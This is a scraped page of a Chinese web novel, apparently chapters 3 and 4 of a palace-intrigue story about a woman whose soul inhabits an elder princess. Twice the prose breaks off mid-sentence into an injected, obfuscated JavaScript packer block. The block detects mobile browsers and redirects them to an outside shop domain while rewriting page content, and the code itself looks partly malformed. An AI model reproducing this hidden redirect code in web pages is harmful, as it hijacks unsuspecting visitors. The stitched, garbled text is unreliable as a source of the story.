《魂穿长公主之后》 3. 第三章 * 郑沅气呼呼地出了宫殿门,原本守在外面的知云知雨却不见了踪影。 她凭记忆沿着回宫宴的方向去寻,走到回廊转角处时,廊外骤然传来一位年轻女子的声音。隔着树丛,只能依稀看见碧蓝色的裙影,听到珠钗碰撞的窸窣声响。 靠近时,话语声不断传入耳中。 “……你们若是还有顾虑,本郡主可承诺,事成后,保你们姐妹后半生富贵无虞。” “不知佑宁郡主想知道何事?” 知雨的声音。 郑沅的手扶在石壁上,呼吸一滞,脚步不自觉放轻。 “陈挽最近可有什么异样?” 空气静了一刹,那一刻郑沅脑中开始飞速掠过无数想法,她还没有找到自己附身在宫廷的原因,还没找到阿漓,她还有太多事情等待去做,若是被人发现并非陈挽本人,且不说无法救回阿漓,自己恐怕是死一百次也不够。 举棋不定间,知雨柔弱却平稳的声音响起,“公主殿下今日来潜心礼佛为陛下祝祷,并无异样。” 连郑沅自己都未发现何时深深陷入掌心的指甲缓缓松开,掌心的痛楚迟钝地传开。 佑宁郡主冷笑一声,“我想问的,并非只有你们能答。本郡主只是赏你们一个机会,若不珍惜,就算本郡主不出手,跟着这样一个喜怒无常的主子,又能风光得意到几时?” “知云,你说呢?”佑宁见大的不肯开口,便将目标转向了年纪偏小的知云身上。 “……知云愚昧,实在不知。”知云略显稚嫩的声音抖着道。 佑宁不料竟会被两个卑贱侍女驳了颜面,脸上浮现怒意,正待发作,身后一声清泠泠的笑意打断了她处置人的号令。 “不知有何事让郡主如此好奇,不若来问本宫,本宫一定知无不言。” 熙和的声音,佑宁不用转身也能分辨出来,她表情凝滞,僵直着转身,干笑两声道:“……我不过是关心公主祝祷过于劳累,伤了玉体。” “本宫一切安好,倒是郡主若是操心太过,小心惹祸上身。” 佑宁抬眼望去,陈挽唇角微勾,明明笑着,脸上却一丝暖意也无,眼神就像寒天里屋檐垂下的冰梭,尖锐到似乎可以刺破一切。明明是盛暑天气,幽幽然的语声传入耳里,叫人忍不住打了个颤。 佑宁一时也来不及细细思索,照长公主往常的做派,一个不顺意就吵嚷打骂,怎么突然却能按捺性子暗暗威胁。 当年南下巡游陛下遇刺,她的父王,陛下的亲弟弟睿王救驾时被毒箭射中陨命,她因此被送到宫中养育,破格未及笄就封了佑宁郡主的封号。 只是面前这位与她年纪相仿,却占了个姑姑名头的陈挽,从小便与她过不去。 佑宁清楚,自己面上尊贵,却不过是因着陛下念及当日救驾的功劳,与真正的金枝玉叶比不了,只想找一位如意夫婿,远离皇宫做个富贵闲人罢了。三年前琼林宴,她相中了一位公子,正准备求陛下赐婚,却听闻那人被外放偏远之地,后来一番打听,始作俑者正是熙和。 所有美好愿景,都因为面前这人烟消云散了。 眼下,熙和的目光黑沉沉压下来,佑宁咬着牙道了声是,行礼告退了。 郑沅待人走远了,为了震慑刻意摆出的冰冷姿态逐渐消溶,长长吐了口气。她回头,将还在地上的人拉起来,正要细问,知雨的眼神却看向她身后,压低声音提醒道:“殿下,裴大人来了。” 一波未平,一波又起。郑沅只好重新收敛神情,转身看向立在不远处的阶梯上的裴洵,开口讽道:“裴大人,偷听女子闺中私事,可是君子所为?” 裴洵原本要解释,一开口却觉得多余与她纠缠,直白道:“你方才最后一句话,究竟是什么意思?” “我记性不好,裴大人问的哪一句?” 裴洵耐着性子重复:“你说我借给女户改户籍敛财,是什么意思?” 逆着光,郑沅头一回认真打量面前的人。 裴洵身形端正,一身紫色官袍被镶嵌了青玉的腰带束着,显得肩宽腰窄,廊檐一枝没被修剪的海棠枝落在他的鬓边,这人懒得拂开,于冷白的皮肤上落下一片阴影,又因为神情冷淡,整个人透着一股清介之感。 若非曾亲眼见证邻居大婶赌上全部家当通过他的路子成功改了户籍逃出皇城,她也不愿将这样一位姿容优越的年轻男人与“钱财”、“贪官”这样的词汇联系在一起。 然则眼前这番画面过于美好,叫她一时竟开始动摇:莫不是其中真有什么误会。 郑沅上前两步,站在台阶下仰头看他,目光真诚地问道:“裴大人,做个交易如何?” 裴洵看着两人拉近的距离皱了皱眉,却没后退,垂眼看向她。 “我可向你保证,今日所言非虚。若你真没做过,定是有人打着你的名义行事,我将我所知道的和盘托出,助你揪出那人,事成后,你帮我一件事。” “替你谏言?” “是。” “我如何信你?” 人一旦开始寻求信任的基石,便说明已经有可供撬动的立场。 郑沅笑了笑,“你无需信我,只消决定合作与否。” 两人目光短兵相接,僵持片刻裴洵缓缓挪开目光,“好。” * 持续了一天的欢歌漫舞结束,郑沅回内殿换上常服,只觉得四肢沉重脖子酸软,比之更为强烈的是从内心深处传来的疲惫感。 一整天的伪装与警惕消耗了她过多的精力,若非心里记挂着白天廊下的插曲,此刻沾上床铺怕是下一秒就能睡死过去。 郑沅将掌灯的宫人屏退,独留知云知雨在内殿,她端坐在妆台前,背对着姊妹二人,目光盯着铜镜,声音平静:“今日佑宁郡主为何会找上你二人?” 依这幅身体的主人从前的作派,得罪了人身边被安插几双眼睛寻错处,倒是说得过去。 若真如此,自己与这对姊妹的缘分算是尽了。只是新的近侍宫人来,该怎样一一考察底细,怎样防止旁人收买……想到这些,郑沅不免有些头疼。 铜镜里,知雨双膝下跪,双手合十贴在额上,贴在地面拜了三拜,行完礼,背脊挺直,印象里,自她被那道天雷带到这座宫殿里,还不曾见过她神色如此认真的模样。 “奴婢不敢欺瞒殿下,佑宁郡主确有想要收买我姊妹二人的想法,来探听公主的日常琐事。” 郑沅卸钗环的动作一顿,知雨紧接道:“殿下宽心,奴婢与知云从前蒙公主不弃,才从浣衣局那苦地方出来,今日宴席若非殿下一力担下圣上责怪,恐难逃罪责,无论佑宁郡主开出什么条件,我们也绝不背弃殿下。” 内殿里长长久久没有人说话,直到香炉鼎里的安神香燃尽了,郑沅才转过身,垂身将二人从地上扶起,又问:“我与佑宁之间……” 知雨:“郡主与殿下自小一起长大,关系却不亲近,小时候只是小打小闹,近些年来却有些见真招的意思……” 郑沅听完知雨的话,神色一凝,却不是因为佑宁,而是她话语间分明是在给自己科普往事……仿佛她知道自己并不清楚那些过往一般。 “知雨,你很聪明。”她淡淡开口。 * 按照惯例,得了圣上赏赐,是需要叩首谢恩的。 宴席第二日,郑沅前往宣德殿。等候宣召期间,恍惚间听见内殿传来碗盏摔碎的声音。 片刻,前日来宣旨的常公公急匆匆走出来朝她行礼,“公主见谅,陛下昨日宴席结束后就龙体欠安,目前不得空见公主。” 若非礼仪要求,郑沅巴不得离这动辄就要杀人的暴君远些,忙不迭道:“既如此,我改日再来探望皇兄。” 回去途中,宫廊处迎面走来一行七八个女使,穿着统一的青蓝色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363072|199759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫制襦裙,身形单薄,年纪不大,瞧上去不过方才及笄。走到郑沅面前,叩首行礼,“长公主千岁万福。” “平身。”郑沅挥挥手,女使谢恩后站起来,靠在墙边垂眉敛目让公主先行。 擦肩而过时郑沅往旁侧睨了一眼,待看清行列最后那位神色慌张惶恐的青涩面容,心猛地一颤。 阿漓。 “等等!” 长公主骤然出声,吓得众人神色一凛,眼见着宫女膝盖一软,又要跪下,郑沅上前,将人扶起。 手心里,女孩手指微微颤抖,皮肤冰凉,即便故作镇定,眼睛里却仍透出藏不住的惊惶,郑沅回过神,意识到自己现在的身份,阿漓现在必定心里打鼓不知所措。她定了定神,柔声问道:“你叫什么名字?” 阿漓欠身,“回公主殿下,奴婢郑漓,是三等宫廷女户。” 郑沅回身望向首领的人,关怀备至的口吻:“皇兄身体可还安泰?为何突召女户入宫?” 一般来说,这事只有圣体极为不安时才会发生。 首领内官语气十足十的恭敬,却对她的提问避而不谈,“快到午膳的时辰了,公主请回吧,切莫伤了玉体,让陛下忧心。” 太监面白无须的脸上,挂着抹叫人捉摸不透的微笑,郑沅盯着瞧了一会儿,转身再次看向阿漓,不急不缓道:“本宫瞧这丫头腰间荷包的穗子极为别致,若今日当完差时辰尚早,不知可否差人来本宫宫里,教教我身边这两个手笨的。” 虽是询问的语气,却有不容置疑的坚定。 郑沅这几日已经领会到,若要扮好熙和长公主的角色,第一要义便是学会运用权势压人。她再不愿,为了自保也只得如此。 长公主要人,哪有拒绝的道理。内官忙说少个人也不碍事,叫郑漓直接跟着公主走一趟。 踏入宫门,郑漓一双眼睛便没再抬起过,几乎要将地面看出个洞。 郑沅吩咐在偏殿摆了几碟糕点,叫与阿漓年纪相仿的知云陪着,只说学习编穗子,又特意吩咐小厨房今日晚膳给宫女多做一道荷叶糯米鸡。 知云心中疑惑,这等小玩意儿学半个时辰最多了,公主怎么还有叫人留下来用晚膳,也不说什么时候将人送回。 另一边,她带着知雨进了主殿。 知雨早已察觉公主自回来路上神色便有些不对,主动询问:“殿下可是有什么心事?” “昨日宴会皇兄还神色奕奕,一日之功,何至于到召见宫廷女户的地步?”郑沅喃喃道,觉得哪哪不对劲,却又说不上心头的那股怪异感究竟来自哪里。 知雨从小在宫廷长大,虽然位卑,却往往能获知些尊贵者难以获取的小道消息。 她向公主说了桩两月前听来的轶闻:“奴婢听闻国师是西域来的术士,之所以得陛下信任,是因为献上了一种失传许久的还魂秘术……” “你的意思是?” “小时候我随母亲去寺庙上香,曾听一位高僧提过,西域有一些……”知雨顿了顿,不敢直接以“邪术”称,委婉道,“秘术,认为以少女的灵魂献祭,可以使时光倒流,青春永驻。” 郑沅跨出殿门,默不作声往偏殿里看去。 方才回来,一路上阿漓都怕得嘴唇发白。没有自己在,现在反而自在许多。年纪相仿的女孩坐在一处,难得放松,有说有笑,阳光透过庭院里的玉兰树,投在少女青蓝色的衣衫上,俱是一片岁月静好之景。 郑沅:“你去帮我留意,宣德殿若有什么动静,第一时间告知我。” 知雨:“是。” 落日西沉。 晚膳时分,郑沅站在宫门口,远远望见知雨跌跌撞撞跑来,皱眉迎上前,“发生了什么?” 知雨双腿发软几乎要站不住,眸子失神难以凝聚,像是看见了极为恐怖的画面,她嘴唇哆哆嗦嗦,断断续续道:“那……那些女户……都死了……” 4.第四章 * 入夜,裴府门口添油点灯,管家正于门外来回踱步,左手握成拳,不断砸进另一只掌心里的动作,透露出心里的紧张仓惶。 不多时,一辆装饰朴素低调的马车从巷尾驶近,待确认前面驾车的小厮佩戴的腰牌纹样,忙上前迎去,置好提前备下的马杌。 “接到公主书信,裴大人让小的在此恭候殿下。” 郑沅轻笑,自己此行虽然仓促,但公主到臣子府邸,臣子就算携全家在府门口俯首迎接也不为过,裴洵上回虽与自己达成口头协议,看来仍旧心怀芥蒂。 她没多说什么,在知雨的搀扶下下了马车。 待看清公主与身边侍女如出一辙的装扮,管家心一跳,直觉此行不简单,却只是低眉顺眼,不敢表现出丝毫诧异。 裴洵换上一身靛蓝织锦袍的常服,头发不似上朝时束得那般一丝不苟,只用一根与衣袍同色的发带松松散散束在肩后。 郑沅到的时候,裴洵坐在正堂,手上把玩着一只绘着蜻蜓戏蝶图样的墨玉镇纸,水头极好。 瞧见人来了,裴洵不紧不慢将物什放在桌上,施施然起身行了个礼,“微臣见过公主。” 虽然这礼在原本已不讲究的郑沅眼里,依旧能称得上十分不上心。 “裴大人无需多礼,本是我叨扰了。” 郑沅入座,管家奉上茶水后又走到裴洵身边,神色有些踌躇但最后还是开口:“今日老爷差人来传话,说表小姐后日抵京,届时大人务必……” 话音未落,被裴洵抬手打断,不愿多谈的冷淡神色,“知道了,先下去吧。” 待人退下,堂中只剩下两个人,郑沅拿起茶盏,闻着袅袅茶香,笑道:“裴大人名满京城,如今也了有意中人?消息若是传出去,只怕京中许多官贵小姐要伤心了。” 裴洵俊眉微挑,“公主大费周折出宫,便是来关心臣私事的?” 语气分明是在说,他们之间不过是暂时合作,闲话莫提。 郑沅也不恼,品了口茶水后缓缓道:“大人想要的名单,本宫今日带出来了。” 裴洵抬眼看过来,这是他今天第一回认真打量面前这位身份尊贵的公主。 郑沅走得匆忙,未来得及上妆,头梳双螺髻,发间只带了支珍珠流苏发钗,身穿素白衣衫、雨后青蓝的窄袖衣裙,与宫女别无二致的装扮。 一贯骄奢淫逸的人突然如此素净,像枝梢吐了一点花蕊的玉兰。 裴洵微微蹙眉,挪开目光。 她将藏于袖中的信纸展开,站起来,踱步到他身前,拿起桌上尚有余温的玉镇纸,压在信纸上,“若是抽丝剥茧去查,何时才能真相大白,如今名单就在这里,大人如何谢我?” 裴洵嗤笑一声,“自然要查,否则我怎知你是否利用我排除异己。” “啊?对哦,也不是没有这种可能……”她微微一笑,迎上裴洵那双带着凉意的目光,“那裴大人可一定要细细查,千万不要漏过任何一个人哦。” 裴洵没搭理她言语间的戏谑,往旁侧睨了一眼,待看清宣纸上面前这人的笔记,饶是京城出了名的冷面公子,都没忍住勾了勾唇角。 歪歪扭扭,若不说是篇字,叫旁人拾去,只怕会以为是房梁上落了几只虫下来。 “真是糟蹋了,”裴洵迎上疑惑的目光,损道:“我说宣纸。” 郑沅在心里翻了个白眼,也不惭愧——她这样生于市井,从记事起就要为生计奔波的人家,且不说精通文墨,没被养成个睁眼瞎,就已经是阿娘教育有方了。 “听闻裴大人一手好字,可有兴致收徒么?” “你倒是敢想。” “……” 为了避嫌,堂门大敞着。管家立在门外候命,余光瞥见里屋两道身影重叠,一道冷隽沉默,一道清丽柔美,已经在心里绘出一副生动形象的<长公主夜会探花郎>话本子全貌。 * 回宫路上,知雨与郑沅同坐在马车里,问:“殿下若只是想传封书信给裴大人,差奴婢即可,何必劳动自身大半夜跑一趟呢。” 郑沅原本阖眼小憩,闻言睁眼反问:“你今日到裴府,印象如何?” 知雨如实道:“裴大人家学渊源,乃官宦世家,听闻这宅子还是裴大人祖父中举后迁来皇城时高价购得的,自然十分气阔,可若说陈设用度,依奴婢所见,已经算得上克制节俭了。” “哦,怎么说?” “奴婢瞧着庭院、楼阁和回廊,皆只在关键处添油点灯;那位管家瞧着很有些资历,衣服布料却是实用为主,衣领袖口都没有刺绣;另外,大人腰间空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364830|199759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡荡,不像寻常家的富贵公子腰间缀满玉石宝珠,又只以发带束发,可见生活并不铺张。” 她的观察与自己相差无几,郑沅肯定道:“知雨,你的心思很细腻。” “公主谬赞了,”知雨仍不解,公主问这些是为何。 郑沅看她一眼,自宫宴后,知云知雨全心全意待她,知云稚嫩可爱,知雨心细如发,能在这样短的时间与熙和长公主陈挽身边最亲近的两个人化干戈为玉帛,倒是她占了份运气。 “上回裴洵说,收女户好处帮人修改户籍的事他不知晓,我自然要来查探一番。” 一个人哪怕在外日日虚以委蛇,但家,总归是心神最易安定最易放松之所在,也最能体现此人的心之所想。她话传得突然,这宅子又大,就算要临时应付,也必不会这般毫无破绽。 “原来公主当时并未全然信任裴大人。” 郑沅笑笑,“你当他就信任我么?我给他那份名单,他之后只怕是要连人族谱都要拿出来翻上一番,唯恐是我这个娇纵横行的长公主,扯着检举的旗号在朝中干排除异己的勾当。” 马车哐哐当当已经走到皇宫角门,驭马的小厮亮出长公主腰牌,士兵便放了行。 郑沅换了一乘小巧精致的撵轿,往永和宫去。知雨俯在轿边小声道:“奴婢还是不明白……公主打算如何处置郑姑娘的事?” 送信今日也可明日也可,分明看公主的态度是想保下郑漓的,怎得今晚却费这番功夫出宫去送了封根本不急在一时的名单。 知雨用只有两人能听清楚的声音提醒道,今日宣德宫的人和国师未差人来寻,许是因为天色已晚未来得及,明日是怎样的光景,谁也说不准。 “我知道,”郑沅用染了丹蔻的指甲拨开织金镂花的挡帘,宫道上宫灯烛火摇曳,她半张脸隐没在撵轿的昏暗之中,语声清幽似叹息,“明日晨起,你替我去库房里找一件东西出来。”